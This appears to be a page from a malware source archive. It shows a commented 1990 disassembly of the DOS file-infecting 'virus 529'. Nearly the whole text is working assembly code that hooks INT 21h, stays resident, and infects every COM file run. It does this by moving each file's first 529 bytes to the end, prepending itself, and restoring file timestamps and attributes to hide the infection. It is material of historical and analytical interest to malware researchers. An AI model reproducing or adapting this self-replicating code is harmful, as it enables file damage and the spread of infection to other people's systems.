mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
347 lines
10 KiB
NASM
347 lines
10 KiB
NASM
; virus 529 extracted from full memory dump published by N.N.Bezrukov
|
||
; in Virus Guide (Computer Virology) edition 3.5. First information about this
|
||
; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990.
|
||
;
|
||
; Dissasembly: A.Kadlof 1990-08-31
|
||
;
|
||
; Virus code is placed at the begining of the file
|
||
|
||
0100 B815CA MOV AX,CA15 ; is resident part alredy instaled?
|
||
0103 8B361B01 MOV SI,[011B] ; offset of oryginal first 529 bytes
|
||
0107 BF0001 MOV DI,0100 ; begining of the file
|
||
010A 8B0E1D01 MOV CX,[011D] ; 0211h = 529 virus length
|
||
010E 8B1E1901 MOV BX,[0119] ; 0101h or less means: do not disable
|
||
0112 CD21 INT 21 ; resident part of the virus
|
||
|
||
; if resident part of the virus is instaled then INT 21 with AX = CA15
|
||
; will start infected program, atherwise we will come here
|
||
|
||
0114 FF361F01 PUSH [011F] ; jump to CS:0147
|
||
0118 C3 RET
|
||
|
||
;------------------
|
||
; virus date area
|
||
|
||
0119 01 01 ; flag - disable virus request
|
||
011B D0 07 ; adress of oryginal 529 byte of the file, oryginal file length
|
||
; plus 100h (size of memory image of file + PSP)
|
||
011D 11 02 ; virus length
|
||
011F 47 01 ; offset of virus code after working area
|
||
0121 79 00 ; ??
|
||
0123 C0 01
|
||
0125 04 00
|
||
0127 C4 01 ; offset of new INT 21h handler
|
||
0129 4D 00
|
||
012B 11 02 EA 00 FB ; ??
|
||
0130 02 01 00 FC 02 01 00 ; ??
|
||
|
||
; EXEC Parameter Block
|
||
|
||
0137 00 00 ; segment of child enviroment
|
||
0139 80 00 0E 25 ; adress of command line
|
||
013D 5C 00 0E 25 ; adress of first FCB
|
||
013F 6C 00 0E 25 ; adress of second FCB
|
||
|
||
0145 CA 01 ; offset of virus int 21h handler
|
||
|
||
;---------------------------------------------------------------
|
||
; continue instalation of virus if resident part is not present
|
||
|
||
0147 A11D01 MOV AX,[011D] ; 0211h virus length
|
||
014A 051401 ADD AX,0114 ; AX := 325h length of buffer and
|
||
; working area
|
||
014D 90 NOP
|
||
014E A30503 MOV [0305],AX ; I/O buffer
|
||
0151 03061D01 ADD AX,[011D]
|
||
0155 050001 ADD AX,0100
|
||
0158 A30D03 MOV [030D],AX
|
||
015B 8BE0 MOV SP,AX
|
||
015D 050F00 ADD AX,000F
|
||
0160 B104 MOV CL,04
|
||
0162 D3E8 SHR AX,CL
|
||
0164 A30F03 MOV [030F],AX ; memory (in paragraphs) requested by
|
||
0167 06 PUSH ES ; virus (64 paragraphs)
|
||
|
||
; capture INT 21h
|
||
|
||
0168 B82135 MOV AX,3521 ; get INT 21h
|
||
016B CD21 INT 21
|
||
|
||
; store it
|
||
|
||
016D 8C06FF02 MOV [02FF],ES
|
||
0171 891EFD02 MOV [02FD],BX
|
||
|
||
0175 07 POP ES ; restore from the stack
|
||
0176 8B162701 MOV DX,[0127] ; offset of new INT 21h
|
||
017A B82125 MOV AX,2521 ; set INT 21h
|
||
017D CD21 INT 21
|
||
|
||
017F 8B1E0F03 MOV BX,[030F] ; size of requested memory
|
||
0183 B44A MOV AH,4A ; modify allocated memory block
|
||
0185 CD21 INT 21
|
||
|
||
0187 8CC0 MOV AX,ES
|
||
0189 A33B01 MOV [013B],AX ; prepare EXEC Parameter Block
|
||
018C A33F01 MOV [013F],AX
|
||
018F A34301 MOV [0143],AX
|
||
|
||
0192 8E1E2C00 MOV DS,[002C] ; enviroment block
|
||
0196 33F6 XOR SI,SI ; point at the begining of block
|
||
|
||
0198 AC LODSB
|
||
0199 0A04 OR AL,[SI] ; look for 0, 0 marker
|
||
019B 75FB JNZ 0198
|
||
|
||
019D 83C603 ADD SI,+03 ; point at full pathname
|
||
01A0 8BD6 MOV DX,SI ; offset of name of virus carrier
|
||
01A2 BB3701 MOV BX,0137 ; adres of EXEC parameter block
|
||
01A5 B8004B MOV AX,4B00 ; Load & Execute
|
||
01A8 CD21 INT 21
|
||
|
||
01AA 8CC8 MOV AX,CS
|
||
01AC 8ED0 MOV SS,AX ; restore stack pointers
|
||
01AE 2E CS:
|
||
01AF 8B260D03 MOV SP,[030D]
|
||
01B3 B44D MOV AH,4D ; get return code of subprogram
|
||
01B5 CD21 INT 21
|
||
|
||
01B7 2E CS:
|
||
01B8 8B160F03 MOV DX,[030F] ; needed number of paragraphs
|
||
01BC B431 MOV AH,31 ; terminate but stay resident
|
||
01BE CD21 INT 21
|
||
|
||
01C0 B44C MOV AH,4C ; terminate process
|
||
01C2 CD21 INT 21
|
||
|
||
;----------------------
|
||
; new INT 21h handler
|
||
|
||
01C4 2E CS:
|
||
01C5 FF364501 PUSH [0145] ; 01CA
|
||
01C9 C3 RET
|
||
|
||
01CA 3D15CA CMP AX,CA15 ; virus call?
|
||
01CD 7519 JNZ 01E8 ; no
|
||
|
||
01CF 2E CS:
|
||
01D0 3B1E1901 CMP BX,[0119] ; disable request?
|
||
01D4 7608 JBE 01DE ; no
|
||
|
||
; disable resident part of virus
|
||
|
||
01D6 2E CS:
|
||
01D7 C70645010C02 MOV WORD PTR [0145],020C
|
||
01DD CF IRET
|
||
|
||
; return to infected file, first copy oryginal 529 bytes from the end of the
|
||
; file to the begining (registers should be prepared by caller)
|
||
|
||
01DE F3 REPZ
|
||
01DF A4 MOVSB
|
||
|
||
01E0 58 POP AX
|
||
01E1 B80001 MOV AX,0100 ; new start adress
|
||
01E4 50 PUSH AX
|
||
01E5 33C0 XOR AX,AX
|
||
01E7 CF IRET
|
||
|
||
; is it Load & Execute request?
|
||
|
||
01E8 3D004B CMP AX,4B00 ; Load & Execute
|
||
01EB 751F JNZ 020C ; no, jump to oryginal INT 21h
|
||
|
||
; check the name of loaded file (is it COM or not)
|
||
|
||
01ED 06 PUSH ES
|
||
01EE 1E PUSH DS
|
||
01EF 07 POP ES
|
||
01F0 8BFA MOV DI,DX ; name of loaded file
|
||
01F2 B9FFFF MOV CX,FFFF ; length of searched block
|
||
01F5 F2 REPNZ
|
||
01F6 AE SCASB ; AL = 0;
|
||
01F7 26 ES:
|
||
01F8 8A45FE MOV AL,[DI-02] ; last letter of extension of name
|
||
01FB 0C20 OR AL,20 ; convert to lower letter
|
||
01FD 3C6D CMP AL,6D ; 'm' (is it COM?)
|
||
01FF 07 POP ES
|
||
0200 7505 JNZ 0207 ; no
|
||
|
||
0202 E80C00 CALL 0211 ; infect loaded file
|
||
|
||
0205 EB03 JMP 020A
|
||
|
||
0207 E8F100 CALL 02FB ; CS:02FB RET
|
||
|
||
020A 32C0 XOR AL,AL
|
||
|
||
020C 2E CS:
|
||
020D FF2EFD02 JMP FAR [02FD] ; oryginal INT 21h
|
||
|
||
;---------------------------
|
||
; Infection of the new file
|
||
|
||
0211 06 PUSH ES
|
||
0212 50 PUSH AX
|
||
0213 53 PUSH BX
|
||
0214 1E PUSH DS
|
||
0215 52 PUSH DX
|
||
0216 8BEC MOV BP,SP
|
||
|
||
0218 0E PUSH CS
|
||
0219 1F POP DS
|
||
|
||
021A B82435 MOV AX,3524 ; get INT 24h
|
||
021D CD21 INT 21
|
||
|
||
021F 8C060303 MOV [0303],ES
|
||
0223 891E0103 MOV [0301],BX
|
||
|
||
0227 BAF802 MOV DX,02F8 ; offset of virus INT 24h handler
|
||
022A B82425 MOV AX,2524 ; set interrupt vector 24h
|
||
022D CD21 INT 21
|
||
|
||
022F 1E PUSH DS
|
||
0230 8B5600 MOV DX,[BP+00] ; adress of loaded file name
|
||
0233 8E5E02 MOV DS,[BP+02]
|
||
0236 B80043 MOV AX,4300 ; get file attributes
|
||
0239 CD21 INT 21
|
||
|
||
023B 7250 JB 028D ; problems
|
||
|
||
023D 2E CS:
|
||
023E 890E0B03 MOV [030B],CX ; store current file attributes
|
||
0242 B80143 MOV AX,4301 ; set file attributes
|
||
0245 33C9 XOR CX,CX ; clear all attributes
|
||
0247 CD21 INT 21
|
||
|
||
0249 7242 JB 028D ; problems
|
||
|
||
024B B8023D MOV AX,3D02 ; open file for read\write
|
||
024E CD21 INT 21
|
||
|
||
0250 7274 JB 02C6 ; problems
|
||
|
||
0252 1F POP DS
|
||
0253 8BD8 MOV BX,AX
|
||
0255 B80057 MOV AX,5700 ; get file date
|
||
0258 CD21 INT 21
|
||
|
||
025A 726A JB 02C6 ; problems
|
||
|
||
025C 890E0703 MOV [0307],CX ; store time
|
||
0260 89160903 MOV [0309],DX ; store date
|
||
|
||
0264 8B160503 MOV DX,[0305] ; offset of buffer
|
||
0268 8B0E1D01 MOV CX,[011D] ; number of bytes to read (full virus)
|
||
026C B43F MOV AH,3F ; read from file
|
||
026E CD21 INT 21
|
||
|
||
0270 7254 JB 02C6 ; problems
|
||
|
||
0272 3BC1 CMP AX,CX ; check for I/O problems
|
||
0274 7550 JNZ 02C6 ; problems
|
||
|
||
; compare first 19h bytes (25) to check is file alredy infected
|
||
|
||
0276 0E PUSH CS
|
||
0277 07 POP ES
|
||
0278 BF0001 MOV DI,0100
|
||
027B 8BF2 MOV SI,DX
|
||
027D B91900 MOV CX,0019
|
||
0280 F3 REPZ
|
||
0281 A6 CMPSB
|
||
0282 7442 JZ 02C6 ; file infected
|
||
|
||
0284 B80242 MOV AX,4202 ; move file pointer
|
||
0287 33C9 XOR CX,CX ; to the end of file
|
||
0289 8BD1 MOV DX,CX ; CX:DX = 0
|
||
028B CD21 INT 21
|
||
|
||
028D 7237 JB 02C6 ; problems
|
||
|
||
028F 0BD2 OR DX,DX ; file over 64 Kb
|
||
0291 7533 JNZ 02C6 ; problems
|
||
|
||
0293 050001 ADD AX,0100
|
||
0296 A31B01 MOV [011B],AX
|
||
0299 3D00F0 CMP AX,F000
|
||
029C 7728 JA 02C6 ; file to big
|
||
|
||
029E 3DD007 CMP AX,07D0 ; file to small
|
||
02A1 7223 JB 02C6 ; problems
|
||
|
||
02A3 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||
02A7 8B160503 MOV DX,[0305] ; offset of disk I/O buffer
|
||
02AB B440 MOV AH,40 ; write to file
|
||
02AD CD21 INT 21
|
||
|
||
02AF 7215 JB 02C6 ; problems
|
||
|
||
02B1 B80042 MOV AX,4200 ; move file pointer
|
||
02B4 33D2 XOR DX,DX ; to the beginning of file
|
||
02B6 8BCA MOV CX,DX ; CX:DX = 0
|
||
02B8 CD21 INT 21
|
||
|
||
02BA 720A JB 02C6 ; problems
|
||
|
||
02BC FEC6 INC DH
|
||
02BE 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||
02C2 B440 MOV AH,40 ; write to file
|
||
02C4 CD21 INT 21
|
||
|
||
;----------------------------------
|
||
; exit if any troubles or when done
|
||
|
||
02C6 B80157 MOV AX,5701 ; set file time and date
|
||
02C9 8B0E0703 MOV CX,[0307] ; recall time
|
||
02CD 8B160903 MOV DX,[0309] ; recall data
|
||
02D1 CD21 INT 21
|
||
|
||
02D3 B43E MOV AH,3E ; Close file (BX = handle)
|
||
02D5 CD21 INT 21
|
||
|
||
02D7 B80143 MOV AX,4301 ; set file attributes
|
||
02DA 8B0E0B03 MOV CX,[030B] ; recall attributes
|
||
02DE 8E5E02 MOV DS,[BP+02] ; segment of file name (ASCIIZ)
|
||
02E1 8B5600 MOV DX,[BP+00] ; offset of file name (ASCIIZ)
|
||
02E4 CD21 INT 21
|
||
|
||
02E6 2E CS:
|
||
02E7 C5160103 LDS DX,[0301]
|
||
02EB B82425 MOV AX,2524 ; restore INT 24h
|
||
02EE CD21 INT 21
|
||
|
||
02F0 8BE5 MOV SP,BP
|
||
02F2 5A POP DX
|
||
02F3 1F POP DS
|
||
02F4 5B POP BX
|
||
02F5 58 POP AX
|
||
02F6 07 POP ES
|
||
02F7 C3 RET
|
||
|
||
;----------------------------------
|
||
; INT 24h handler during infection
|
||
|
||
02F8 B003 MOV AL,03
|
||
02FA CF IRET
|
||
|
||
02FB C3 RET
|
||
|
||
02FC C3 RET
|
||
|
||
;--------------
|
||
; date holder
|
||
|
||
02FD 5C 06 FD 18 ; old INT 21h holder
|
||
0301 56 05 9D 10 ; old INT 24h holder
|
||
0305 25 03 ; offset of disk I/O buffer
|
||
0307 36 00 ; file time
|
||
0309 21 00 ; file date
|
||
030B 20 00 ; file attributes
|
||
030D 36 06 ; SP holder
|
||
030F 64 00 ; segment-paragraph just beyond the end of resident part
|
||
|
||
0325 ; I/O bufer
|
||
|
||
|